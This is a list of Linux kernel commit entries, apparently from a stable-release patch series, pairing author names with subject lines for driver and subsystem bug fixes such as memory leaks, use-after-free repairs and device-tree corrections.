Colin Ian King <colin.i.king(a)gmail.com>
powerpc/powernv/sriov: perform null check on iov before dereferencing iov
Claudiu Beznea <claudiu.beznea(a)microchip.com>
pinctrl: at91-pio4: check return value of devm_kasprintf()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
pinctrl: microchip-sgpio: check return value of devm_kasprintf()
Nicholas Piggin <npiggin(a)gmail.com>
powerpc/64s: Fix VAS mm use after free
Ian Rogers <irogers(a)google.com>
perf tool x86: Fix perf_env memory leak
Ravi Bangoria <ravi.bangoria(a)amd.com>
perf tool x86: Consolidate is_amd check into single function
Michal Wilczynski <michal.wilczynski(a)intel.com>
platform/x86/dell/dell-rbtn: Fix resources leaking on error path
Namhyung Kim <namhyung(a)kernel.org>
perf dwarf-aux: Fix off-by-one in die_get_varname()
Mark Pearson <mpearson-lenovo(a)squebb.ca>
platform/x86: thinkpad_acpi: Fix lkp-tests warnings for platform profiles
Arnaldo Carvalho de Melo <acme(a)redhat.com>
perf script: Fix allocation of evsel->priv related to per-event dump files
Christophe Leroy <christophe.leroy(a)csgroup.eu>
powerpc/signal32: Force inlining of __unsafe_save_user_regs() and save_tm_user_regs_unsafe()
Christophe Leroy <christophe.leroy(a)csgroup.eu>
powerpc/interrupt: Don't read MSR from interrupt_exit_kernel_prepare()
Christophe Leroy <christophe.leroy(a)csgroup.eu>
kcsan: Don't expect 64 bits atomic builtins from 32 bits architectures
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
pinctrl: npcm7xx: Add missing check for ioremap
Wells Lu <wellslutw(a)gmail.com>
pinctrl:sunplus: Add check for kmalloc
Mark Pearson <mpearson-lenovo(a)squebb.ca>
platform/x86: think-lmi: Correct NVME password handling
Mark Pearson <mpearson-lenovo(a)squebb.ca>
platform/x86: think-lmi: Correct System password interface
Mark Pearson <mpearson-lenovo(a)squebb.ca>
platform/x86: think-lmi: mutex protection around multiple WMI calls
Andy Shevchenko <andriy.shevchenko(a)linux.intel.com>
pinctrl: cherryview: Return correct value if pin in push-pull mode
Arnaldo Carvalho de Melo <acme(a)redhat.com>
perf bench: Add missing setlocale() call to allow usage of %'d style formatting
Justin Tee <justin.tee(a)broadcom.com>
scsi: lpfc: Revise NPIV ELS unsol rcv cmpl logic to drop ndlp based on nlp_state
Sui Jingfeng <suijingfeng(a)loongson.cn>
PCI: Add pci_clear_master() stub for non-CONFIG_PCI
Wells Lu <wellslutw(a)gmail.com>
pinctrl: sunplus: Add check for kmalloc
Junyan Ye <yejunyan(a)hust.edu.cn>
PCI: ftpci100: Release the clock resources
Rongguang Wei <weirongguang(a)kylinos.cn>
PCI: pciehp: Cancel bringup sequence if card is not present
Yuchen Yang <u202114568(a)hust.edu.cn>
scsi: 3w-xxxx: Add error handling for initialization failure in tw_probe()
Ding Hui <dinghui(a)sangfor.com.cn>
PCI/ASPM: Disable ASPM on MFD function removal to avoid use-after-free
Hans de Goede <hdegoede(a)redhat.com>
platform/x86: lenovo-yogabook: Set default keyboard backligh brightness on probe()
Hans de Goede <hdegoede(a)redhat.com>
platform/x86: lenovo-yogabook: Reprobe devices on remove()
Hans de Goede <hdegoede(a)redhat.com>
platform/x86: lenovo-yogabook: Fix work race on remove()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
pinctrl: bcm2835: Handle gpiochip_add_pin_range() errors
Jinhong Zhu <jinhongzhu(a)hust.edu.cn>
scsi: qedf: Fix NULL dereference in error handling
Nirmal Patel <nirmal.patel(a)linux.intel.com>
PCI: vmd: Reset VMD config register between soft reboots
Siddharth Vadapalli <s-vadapalli(a)ti.com>
PCI: cadence: Fix Gen2 Link Retraining process
Syed Saba Kareem <Syed.SabaKareem(a)amd.com>
ASoC: amd: acp: clear pdm dma interrupt mask
Michael Walle <mwalle(a)kernel.org>
ARM: dts: lan966x: kontron-d10: fix SPI CS
Michael Walle <mwalle(a)kernel.org>
ARM: dts: lan966x: kontron-d10: fix board reset
Fei Shao <fshao(a)chromium.org>
clk: Fix memory leak in devm_clk_notifier_register()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
ASoC: imx-audmix: check return value of devm_kasprintf()
Amir Goldstein <amir73il(a)gmail.com>
ovl: update of dentry revalidate flags after copy up
Alexey Romanov <avromanov(a)sberdevices.ru>
drivers: meson: secure-pwrc: always enable DMA domain
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: ti: clkctrl: check return value of kasprintf()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: keystone: sci-clk: check return value of kasprintf()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: si5341: free unused memory on probe failure
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: si5341: check return value of {devm_}kasprintf()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: si5341: return error if one synth clock registration fails
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: cdce925: check return value of kasprintf()
Claudiu Beznea <claudiu.beznea(a)microchip.com>
clk: vc5: check memory returned by kasprintf()
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/msm/dpu: correct MERGE_3D length
Luben Tuikov <luben.tuikov(a)amd.com>
drm/amdgpu: Fix usage of UMC fill record in RAS
Srinivasan Shanmugam <srinivasan.shanmugam(a)amd.com>
drm/amdgpu: Fix memcpy() in sienna_cichlid_append_powerplay_table function.
Nícolas F. R. A. Prado <nfraprado(a)collabora.com>
arm64: dts: mediatek: mt8192: Fix CPUs capacity-dmips-mhz
Allen-KH Cheng <allen-kh.cheng(a)mediatek.com>
arm64: dts: mediatek: Add cpufreq nodes for MT8192
Bjorn Andersson <quic_bjorande(a)quicinc.com>
drm/msm/dp: Free resources after unregistering them
Jessica Zhang <quic_jesszhan(a)quicinc.com>
drm/msm/dsi: Remove incorrect references to slice_count
Marijn Suijten <marijn.suijten(a)somainline.org>
drm/msm/dsi: Flip greater-than check for slice_count and slice_per_intf
Marijn Suijten <marijn.suijten(a)somainline.org>
drm/msm/dsi: Use DSC slice(s) packet size to compute word count
Jessica Zhang <quic_jesszhan(a)quicinc.com>
drm/msm/dpu: Fix slice_last_group_size calculation
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/msm/dpu: do not enable color-management if DSPPs are not available
Su Hui <suhui(a)nfschina.com>
ALSA: ac97: Fix possible NULL dereference in snd_ac97_mixer
Yuan Can <yuancan(a)huawei.com>
clk: tegra: tegra124-emc: Fix potential memory leak
Dan Carpenter <dan.carpenter(a)linaro.org>
clk: clocking-wizard: Fix Oops in clk_wzrd_register_divider()
Dan Carpenter <dan.carpenter(a)linaro.org>
clk: bcm: rpi: Fix off by one in raspberrypi_discover_clocks()
Marijn Suijten <marijn.suijten(a)somainline.org>
arm64: dts: qcom: sm8250-edo: Panel framebuffer is 2.5k instead of 4k
Konrad Dybcio <konrad.dybcio(a)linaro.org>
arm64: dts: qcom: sdm845: Flush RSC sleep & wake votes
Yuxing Liu <lyx2022(a)hust.edu.cn>
clk: imx: clk-imx8mp: improve error handling in imx8mp_clocks_probe()
Zhanhao Hu <zero12113(a)hust.edu.cn>
clk: imx93: fix memory leak and missing unwind goto in imx93_clocks_probe
Hao Luo <m202171776(a)hust.edu.cn>
clk: imx: clk-imx8mn: fix memory leak in imx8mn_clocks_probe
Kai Ma <kaima(a)hust.edu.cn>
clk: imx: clk-imxrt1050: fix memory leak in imxrt1050_clocks_probe
Kashyap Desai <kashyap.desai(a)broadcom.com>
RDMA/bnxt_re: Avoid calling wake_up threads from spin_lock context
Kashyap Desai <kashyap.desai(a)broadcom.com>
RDMA/bnxt_re: wraparound mbox producer index
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/msm/a5xx: really check for A510 in a5xx_gpu_init
Chia-I Wu <olvaffe(a)gmail.com>
amdgpu: validate offset_in_bo of drm_amdgpu_gem_va
Bob Pearson <rpearsonhpe(a)gmail.com>
RDMA/rxe: Fix access checks in rxe_check_bind_mw
Bob Pearson <rpearsonhpe(a)gmail.com>
RDMA/rxe: Replace pr_xxx by rxe_dbg_xxx in rxe_mw.c
Bob Pearson <rpearsonhpe(a)gmail.com>
RDMA/rxe: Add ibdev_dbg macros for rxe
Geert Uytterhoeven <geert+renesas(a)glider.be>
HID: uclogic: Modular KUnit tests should not depend on KUNIT=y
Nikita Zhandarovich <n.zhandarovich(a)fintech.ru>
drm/radeon: fix possible division-by-zero errors
Aurabindo Pillai <aurabindo.pillai(a)amd.com>
drm/amd/display: Fix artifacting on eDP panels when engaging freesync video mode
Chen-Yu Tsai <wenst(a)chromium.org>
soc: mediatek: SVS: Fix MT8192 GPU node name
Daniil Dulov <d.dulov(a)aladdin.ru>
drm/amdkfd: Fix potential deallocation of previously deallocated memory.
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
drm/amd/display: Fix a test dml32_rq_dlg_get_rq_reg()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
drm/amd/display: Fix a test CalculatePrefetchSchedule()
Paul Cercueil <paul(a)crapouillou.net>
MIPS: DTS: CI20: Fix ACT8600 regulator node names
Maxime Ripard <maxime(a)cerno.tech>
clk: Export clk_hw_forward_rate_request()
Christian Lamparter <chunkeey(a)gmail.com>
ARM: dts: BCM5301X: fix duplex-full => full-duplex
Guenter Roeck <linux(a)roeck-us.net>
hwmon: (pmbus/adm1275) Fix problems with temperature monitoring on ADM1272
Tim Harvey <tharvey(a)gateworks.com>
hwmon: (gsc-hwmon) fix fan pwm temperature scaling
Olivier Moysan <olivier.moysan(a)foss.st.com>
ARM: dts: stm32: fix i2s endpoint format property for stm32mp15xx-dkx
Marek Vasut <marex(a)denx.de>
ARM: dts: stm32: Fix audio routing on STM32MP15xx DHCOM PDK2
Caleb Connolly <caleb.connolly(a)linaro.org>
Input: pm8941-powerkey - fix debounce on gen2+ PMICs
Keerthy <j-keerthy(a)ti.com>
arm64: dts: ti: k3-j7200: Fix physical address of pin
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
fbdev: omapfb: lcd_mipid: Fix an error handling path in mipid_spi_probe()
Kuogee Hsieh <quic_khsieh(a)quicinc.com>
drm/msm/dpu: set DSC flush bit correctly at MDP CTL flush register
Wolfram Sang <wsa+renesas(a)sang-engineering.com>
arm64: dts: renesas: ulcb-kf: Remove flow control for SCIF1
Geert Uytterhoeven <geert+renesas(a)glider.be>
ARM: dts: iwg20d-q7-common: Fix backlight pwm specifier
Chengchang Tang <tangchengchang(a)huawei.com>
RDMA/hns: Fix hns_roce_table_get return value
Brendan Cunningham <bcunningham(a)cornelisnetworks.com>
IB/hfi1: Fix wrong mmu_node used for user SDMA packet after invalidate
Arnd Bergmann <arnd(a)arndb.de>
RDMA/irdma: avoid fortify-string warning in irdma_clr_wqes
Randy Dunlap <rdunlap(a)infradead.org>
soc/fsl/qe: fix usb.c build errors
Martin Blumenstingl <martin.blumenstingl(a)googlemail.com>
ARM: dts: meson8: correct uart_B and uart_C clock references
Cristian Ciocaltea <cristian.ciocaltea(a)collabora.com>
ASoC: es8316: Do not set rate constraints for unsupported MCLKs
Cristian Ciocaltea <cristian.ciocaltea(a)collabora.com>
ASoC: es8316: Increment max value for ALC Capture Target Volume control
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
ARM: dts: qcom: apq8074-dragonboard: Set DMA as remotely controlled
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
memory: brcmstb_dpfe: fix testing array offset after use
Marek Vasut <marex(a)denx.de>
ARM: dts: stm32: Shorten the AV96 HDMI sound card name
Douglas Anderson <dianders(a)chromium.org>
arm64: dts: mediatek: mt8183: Add mediatek,broken-save-restore-fw to kukui
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: apq8096: fix fixed regulator name property
Luca Weiss <luca.weiss(a)fairphone.com>
arm64: dts: qcom: pm7250b: add missing spmi-vadc include
Arnd Bergmann <arnd(a)arndb.de>
ARM: omap2: fix missing tick_broadcast() prototype
Arnd Bergmann <arnd(a)arndb.de>
ARM: ep93xx: fix missing-prototype warnings
Dario Binacchi <dario.binacchi(a)amarulasolutions.com>
drm/panel: simple: fix active size for Ampire AM-480272H3TMQW-T01H
Frieder Schrempf <frieder.schrempf(a)kontron.de>
drm/bridge: ti-sn65dsi83: Fix enable/disable flow to meet spec
Dave Stevenson <dave.stevenson(a)raspberrypi.com>
drm/bridge: Introduce pre_enable_prev_first to alter bridge init order
Stephan Gerhold <stephan(a)gerhold.net>
arm64: dts: qcom: apq8016-sbc: Fix 1.8V power rail on LS expansion
Stephan Gerhold <stephan(a)gerhold.net>
arm64: dts: qcom: apq8016-sbc: Fix regulator constraints
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sdm845-polaris: add missing touchscreen child node reg
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sm8350: correct DMA controller unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sm8350: Add GPI DMA compatible fallback
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sdm845: correct camss unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: sdm630: correct camss unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: msm8996: correct camss unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: msm8994: correct SPMI unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: msm8916: correct MMC unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
arm64: dts: qcom: msm8916: correct camss unit address
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: qcom: msm8974: do not use underscore in node name (again)
Nícolas F. R. A. Prado <nfraprado(a)collabora.com>
drm/bridge: anx7625: Prevent endless probe loop
Uwe Kleine-König <u.kleine-koenig(a)pengutronix.de>
drm/bridge: anx7625: Convert to i2c's .probe_new()
Tony Lindgren <tony(a)atomide.com>
ARM: dts: gta04: Move model property out of pinctrl node
Biju Das <biju.das.jz(a)bp.renesas.com>
clk: renesas: rzg2l: Fix CPG_SIPLL5_CLK1 register write
Jean-Philippe Brucker <jean-philippe(a)linaro.org>
iommu/virtio: Return size mapped for a detached domain
Jean-Philippe Brucker <jean-philippe(a)linaro.org>
iommu/virtio: Detach domain on endpoint release
Konrad Dybcio <konrad.dybcio(a)linaro.org>
drm/msm/dpu: Set DPU_DATA_HCTL_EN for in INTF_SC7180_MASK
Vinod Polimera <quic_vpolimer(a)quicinc.com>
drm/msm/disp/dpu: get timing engine status from intf status register
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/msm/dsi: don't allow enabling 14nm VCO with unprogrammed rate
Kalesh AP <kalesh-anakkur.purayil(a)broadcom.com>
RDMA/bnxt_re: Fix to remove an unnecessary log
Kalesh AP <kalesh-anakkur.purayil(a)broadcom.com>
RDMA/bnxt_re: Remove a redundant check inside bnxt_re_update_gid
Kalesh AP <kalesh-anakkur.purayil(a)broadcom.com>
RDMA/bnxt_re: Use unique names while registering interrupts
Kalesh AP <kalesh-anakkur.purayil(a)broadcom.com>
RDMA/bnxt_re: Fix to remove unnecessary return labels
Selvin Xavier <selvin.xavier(a)broadcom.com>
RDMA/bnxt_re: Disable/kill tasklet only if it is enabled
Nikita Zhandarovich <n.zhandarovich(a)fintech.ru>
hwmon: (f71882fg) prevent possible division by zero
Dan Carpenter <dan.carpenter(a)linaro.org>
clk: imx: scu: use _safe list iterator to avoid a use after free
Alexander Stein <alexander.stein(a)ew.tq-group.com>
drm/bridge: tc358767: Switch to devm MIPI-DSI helpers
Robert Marko <robert.marko(a)sartura.hr>
arm64: dts: microchip: sparx5: do not use PSCI on reference boards
Tony Lindgren <tony(a)atomide.com>
bus: ti-sysc: Fix dispc quirk masking bool variables
Marek Vasut <marex(a)denx.de>
ARM: dts: stm32: Move ethernet MAC EEPROM from SoM to carrier boards
Maíra Canal <mcanal(a)igalia.com>
drm/vkms: Fix RGB565 pixel conversion
Maíra Canal <mcanal(a)igalia.com>
drm: Add fixed-point helper to get rounded integer values
Maíra Canal <mcanal(a)igalia.com>
drm/vkms: isolate pixel conversion functionality
Bard Liao <yung-chuan.liao(a)linux.intel.com>
ASoC: Intel: sof_sdw: remove SOF_SDW_TGL_HDMI for MeteorLake devices
Dan Carpenter <dan.carpenter(a)linaro.org>
driver: soc: xilinx: use _safe loop iterator to avoid a use after free
Dmitry Baryshkov <dmitry.baryshkov(a)linaro.org>
drm/panel: sharp-ls043t1le01: adjust mode settings
XuDong Liu <m202071377(a)hust.edu.cn>
drm: sun4i_tcon: use devm_clk_get_enabled in `sun4i_tcon_init_clocks`
Marek Vasut <marex(a)denx.de>
Input: adxl34x - do not hardcode interrupt trigger type
Marek Vasut <marek.vasut+renesas(a)mailbox.org>
clk: rs9: Fix .driver_data content in i2c_device_id
Marek Vasut <marek.vasut+renesas(a)mailbox.org>
clk: vc7: Fix .driver_data content in i2c_device_id
Marek Vasut <marek.vasut+renesas(a)mailbox.org>
clk: vc5: Fix .driver_data content in i2c_device_id
Liu Shixin <liushixin2(a)huawei.com>
bootmem: remove the vmemmap pages from kmemleak in free_bootmem_page
Lars-Peter Clausen <lars(a)metafoo.de>
clk: vc5: Use `clamp()` to restrict PLL range
Peter Collingbourne <pcc(a)google.com>
mm: call arch_swap_restore() from do_swap_page()
hfdevel(a)gmx.net <hfdevel(a)gmx.net>
ARM: dts: meson8b: correct uart_B and uart_C clock references
Rafał Miłecki <rafal(a)milecki.pl>
ARM: dts: BCM5301X: Drop "clock-names" from the SPI node
Luc Ma <luc(a)sietium.com>
drm/vram-helper: fix function names in vram helper doc
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix THS_TRAILCNT computation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix TXTAGOCNT computation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix THS_ZEROCNT computation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix TCLK_TRAILCNT computation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: Add atomic_get_input_bus_fmts() implementation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix TCLK_ZEROCNT computation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix PLL target frequency
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: fix PLL parameters computation
Francesco Dolcini <francesco.dolcini(a)toradex.com>
drm/bridge: tc358768: always enable HS video mode
Alexander Stein <alexander.stein(a)ew.tq-group.com>
drm/bridge: ti-sn65dsi83: Fix enable error path
Luca Weiss <luca(a)z3ntu.xyz>
Input: drv260x - sleep between polling GO bit
Markus Elfring <elfring(a)users.sourceforge.net>
drm/bridge: it6505: Move a variable assignment behind a null pointer check in receive_timing_debugfs_show()
Nicholas Kazlauskas <nicholas.kazlauskas(a)amd.com>
drm/amd/display: Explicitly specify update type per plane info change
Nikita Zhandarovich <n.zhandarovich(a)fintech.ru>
radeon: avoid double free in ci_dpm_init()
Wesley Chalmers <Wesley.Chalmers(a)amd.com>
drm/amd/display: Add logging for display MALL refresh setting
Kuniyuki Iwashima <kuniyu(a)amazon.com>
netlink: Add __sock_i_ino() for __netlink_diag_dump().
Cambda Zhu <cambda(a)linux.alibaba.com>
ipvlan: Fix return value of ipvlan_queue_xmit()
Ilia.Gavrilov <Ilia.Gavrilov(a)infotecs.ru>
netfilter: nf_conntrack_sip: fix the ct_sip_parse_numerical_param() return value.
Florian Westphal <fw(a)strlen.de>
netfilter: conntrack: dccp: copy entire header to stack buffer, not just basic one
Jeremy Sowden <jeremy(a)azazel.net>
lib/ts_bm: reset initial match offset for every block of text
Lin Ma <linma(a)zju.edu.cn>
net: nfc: Fix use-after-free caused by nfc_llcp_find_local
Edward Cree <ecree.xilinx(a)gmail.com>
sfc: fix crash when reading stats while NIC is resetting
David Howells <dhowells(a)redhat.com>
ocfs2: Fix use of slab data with sendpage
Maxim Kochetkov <fido_max(a)inbox.ru>
net: axienet: Move reset before 64-bit DMA detection
Kuniyuki Iwashima <kuniyu(a)amazon.com>
gtp: Fix use-after-free in __gtp_encap_destroy().
Sabrina Dubroca <sd(a)queasysnail.net>
selftests: rtnetlink: remove netdevsim device after ipsec offload test
Eric Dumazet <edumazet(a)google.com>
bonding: do not assume skb mac_header is set
Eric Dumazet <edumazet(a)google.com>
netlink: do not hard code device address lenth in fdb dumps
Eric Dumazet <edumazet(a)google.com>
netlink: fix potential deadlock in netlink_set_err()
Bartosz Golaszewski <bartosz.golaszewski(a)linaro.org>
net: stmmac: fix double serdes powerdown
Jimmy Assarsson <extja(a)kvaser.com>
can: kvaser_pciefd: Set hardware timestamp on transmitted packets
Jimmy Assarsson <extja(a)kvaser.com>
can: kvaser_pciefd: Add function to set skb hwtstamps
Vincent Mailhol <mailhol.vincent(a)wanadoo.fr>
can: length: fix bitstuffing count
Gilad Sever <gilad9366(a)gmail.com>
bpf: Fix bpf socket lookup from tc/xdp to respect socket VRF bindings
Gilad Sever <gilad9366(a)gmail.com>
bpf: Call __bpf_sk_lookup()/__bpf_skc_lookup() directly via TC hookpoint
Gilad Sever <gilad9366(a)gmail.com>
bpf: Factor out socket lookup functions for the TC hookpoint.
Dmitry Antipov <dmantipov(a)yandex.ru>
wifi: ath9k: convert msecs to jiffies where needed
Johannes Berg <johannes.berg(a)intel.com>
wifi: iwlwifi: mvm: indicate HW decrypt for beacon protection
Marek Vasut <marex(a)denx.de>
mmc: Add MMC_QUIRK_BROKEN_SD_CACHE for Kingston Canvas Go Plus from 11/2019
Ilan Peer <ilan.peer(a)intel.com>
wifi: ieee80211: Fix the common size calculation for reconfiguration ML
Ilan Peer <ilan.peer(a)intel.com>
wifi: cfg80211/mac80211: Fix ML element common size calculation
Johannes Berg <johannes.berg(a)intel.com>
wifi: cfg80211: fix regulatory disconnect with OCB/NAN
Benjamin Berg <benjamin.berg(a)intel.com>
wifi: cfg80211: drop incorrect nontransmitted BSS update code
Benjamin Berg <benjamin.berg(a)intel.com>
wifi: cfg80211: rewrite merging of inherited elements
Nicolas Cavallari <nicolas.cavallari(a)green-communications.fr>
wifi: mac80211: Remove "Missing iftype sband data/EHT cap" spam
Anjaneyulu <pagadala.yesu.anjaneyulu(a)intel.com>
wifi: iwlwifi: pcie: fix NULL pointer dereference in iwl_pcie_irq_rx_msix_handler()
Johannes Berg <johannes.berg(a)intel.com>
wifi: iwlwifi: pull from TXQs with softirqs disabled
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
wifi: ath11k: Add missing check for ioremap
Edwin Peer <edwin.peer(a)broadcom.com>
rtnetlink: extend RTEXT_FILTER_SKIP_STATS to IFLA_VF_INFO
Ilan Peer <ilan.peer(a)intel.com>
wifi: mac80211: Fix permissions for valid_links debugfs entry
Remi Pommarel <repk(a)triplefau.lt>
wifi: ath9k: Fix possible stall on ath9k_txq_list_has_key()
Arnd Bergmann <arnd(a)arndb.de>
memstick r592: make memstick_debug_get_tpc_name() static
Douglas Anderson <dianders(a)chromium.org>
mmc: mediatek: Avoid ugly error message when SDIO wakeup IRQ isn't used
Zhen Lei <thunder.leizhen(a)huawei.com>
kexec: fix a memory leak in crash_shrink_memory()
Douglas Anderson <dianders(a)chromium.org>
watchdog/perf: more properly prevent false positives with turbo modes
Douglas Anderson <dianders(a)chromium.org>
watchdog/perf: define dummy watchdog_update_hrtimer_threshold() on correct config
Haifeng Xu <haifeng.xu(a)shopee.com>
selftests: cgroup: fix unexpected failure on test_memcg_low
Karol Kolacinski <karol.kolacinski(a)intel.com>
ice: handle extts in the miscellaneous interrupt thread
Marek Vasut <marex(a)denx.de>
wifi: rsi: Do not set MMC_PM_KEEP_POWER in shutdown
Marek Vasut <marex(a)denx.de>
wifi: rsi: Do not configure WoWlan in shutdown hook if not enabled
Jesper Dangaard Brouer <brouer(a)redhat.com>
selftests/bpf: Fix check_mtu using wrong variable type
Johannes Berg <johannes.berg(a)intel.com>
wifi: mac80211: recalc min chandef for new STA links
Youghandhar Chintala <quic_youghand(a)quicinc.com>
wifi: ath10k: Trigger STA disconnect after reconfig complete on hardware restart
Jesper Dangaard Brouer <brouer(a)redhat.com>
samples/bpf: xdp1 and xdp2 reduce XDPBUFSIZE to 60
Fedor Pchelkin <pchelkin(a)ispras.ru>
wifi: ath9k: don't allow to overwrite ENDPOINT0 attributes
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
wifi: ray_cs: Fix an error handling path in ray_probe()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
wifi: wl3501_cs: Fix an error handling path in wl3501_probe()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
wifi: atmel: Fix an error handling path in atmel_probe()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
wifi: orinoco: Fix an error handling path in orinoco_cs_probe()
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
wifi: orinoco: Fix an error handling path in spectrum_cs_probe()
Geert Uytterhoeven <geert+renesas(a)glider.be>
regulator: core: Streamline debugfs operations
Geert Uytterhoeven <geert+renesas(a)glider.be>
regulator: core: Fix more error checking for debugfs_create_dir()
Alexey Gladkov <legion(a)kernel.org>
selftests/bpf: Do not use sign-file as testcase
Yafang Shao <laoar.shao(a)gmail.com>
bpf: Fix memleak due to fentry attach failure
Yafang Shao <laoar.shao(a)gmail.com>
bpf: Remove bpf trampoline selector
Alan Maguire <alan.maguire(a)oracle.com>
bpftool: JIT limited misreported as negative value on aarch64
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
nfc: llcp: fix possible use of uninitialized variable in nfc_llcp_send_connect()
Joy Chakraborty <joychakr(a)google.com>
spi: dw: Round of n_bytes to power of 2
Stanislav Fomichev <sdf(a)google.com>
bpf: Don't EFAULT for {g,s}setsockopt with wrong optlen
Andrii Nakryiko <andrii(a)kernel.org>
libbpf: fix offsetof() and container_of() to work with CO-RE
Alexander Mikhalitsyn <aleksandr.mikhalitsyn(a)canonical.com>
sctp: add bpf_bypass_getsockopt proto callback
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
wifi: mwifiex: Fix the size of a memory allocation in mwifiex_ret_802_11_scan()
Amisha Patel <amisha.patel(a)microchip.com>
wifi: wilc1000: fix for absent RSN capabilities WFA testcase
Vijaya Krishna Nivarthi <quic_vnivarth(a)quicinc.com>
spi: spi-geni-qcom: Correct CS_TOGGLE bit in SPI_TRANS_CFG
Pengcheng Yang <yangpc(a)wangsu.com>
samples/bpf: Fix buffer overflow in tcp_basertt
Martin KaFai Lau <martin.lau(a)kernel.org>
libbpf: btf_dump_type_data_check_overflow needs to consider BTF_MEMBER_BITFIELD_SIZE
Fedor Pchelkin <pchelkin(a)ispras.ru>
wifi: ath9k: avoid referencing uninit memory in ath9k_wmi_ctrl_rx
Peter Seiderer <ps.report(a)gmx.net>
wifi: ath9k: fix AR9003 mac hardware hang check register offset calculation
Jesper Dangaard Brouer <brouer(a)redhat.com>
igc: Enable and fix RX hash usage by netstack
Jiasheng Jiang <jiasheng(a)iscas.ac.cn>
pstore/ram: Add check for kstrdup
Roberto Sassu <roberto.sassu(a)huawei.com>
ima: Fix build warnings
Roberto Sassu <roberto.sassu(a)huawei.com>
evm: Fix build warnings
Roberto Sassu <roberto.sassu(a)huawei.com>
evm: Complete description of evm_inode_setattr()
Mark Rutland <mark.rutland(a)arm.com>
locking/atomic: arm: fix sync ops
Juergen Gross <jgross(a)suse.com>
x86/mm: Fix __swp_entry_to_pte() for Xen PV guests
Ravi Bangoria <ravi.bangoria(a)amd.com>
perf/ibs: Fix interface via core pmu events
Colin Ian King <colin.i.king(a)gmail.com>
kselftest: vDSO: Fix accumulation of uninitialized ret when CLOCK_REALTIME is undefined
Qiuxu Zhuo <qiuxu.zhuo(a)intel.com>
rcu/rcuscale: Stop kfree_scale_thread thread(s) after unloading rcuscale
Qiuxu Zhuo <qiuxu.zhuo(a)intel.com>
rcu/rcuscale: Move rcu_scale_*() after kfree_scale_cleanup()
Paul E. McKenney <paulmck(a)kernel.org>
rcuscale: Move shutdown from wait_event() to wait_event_idle()
Paul E. McKenney <paulmck(a)kernel.org>
rcutorture: Correct name of use_softirq module parameter
Paul E. McKenney <paulmck(a)kernel.org>
rcu-tasks: Stop rcu_tasks_invoke_cbs() from using never-onlined CPUs
Paul E. McKenney <paulmck(a)kernel.org>
rcu: Make rcu_cpu_starting() rely on interrupts being disabled
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
thermal/drivers/sun8i: Fix some error handling paths in sun8i_ths_probe()
Balsam CHIHI <bchihi(a)baylibre.com>
thermal/drivers/mediatek: Relocate driver to mediatek folder
Tero Kristo <tero.kristo(a)linux.intel.com>
cpufreq: intel_pstate: Fix energy_performance_preference for passive
Arnd Bergmann <arnd(a)arndb.de>
ARM: 9303/1: kprobes: avoid missing-declaration warnings
Ulf Hansson <ulf.hansson(a)linaro.org>
PM: domains: Move the verification of in-params from genpd_add_device()
Zhang Rui <rui.zhang(a)intel.com>
powercap: RAPL: Fix CONFIG_IOSF_MBI dependency
Junhao He <hejunhao3(a)huawei.com>
drivers/perf: hisi: Don't migrate perf to the CPU going to teardown
Kirill A. Shutemov <kirill.shutemov(a)linux.intel.com>
x86/tdx: Fix race between set_memory_encrypted() and load_unaligned_zeropad()
Kirill A. Shutemov <kirill.shutemov(a)linux.intel.com>
x86/mm: Allow guest.enc_status_change_prepare() to fail
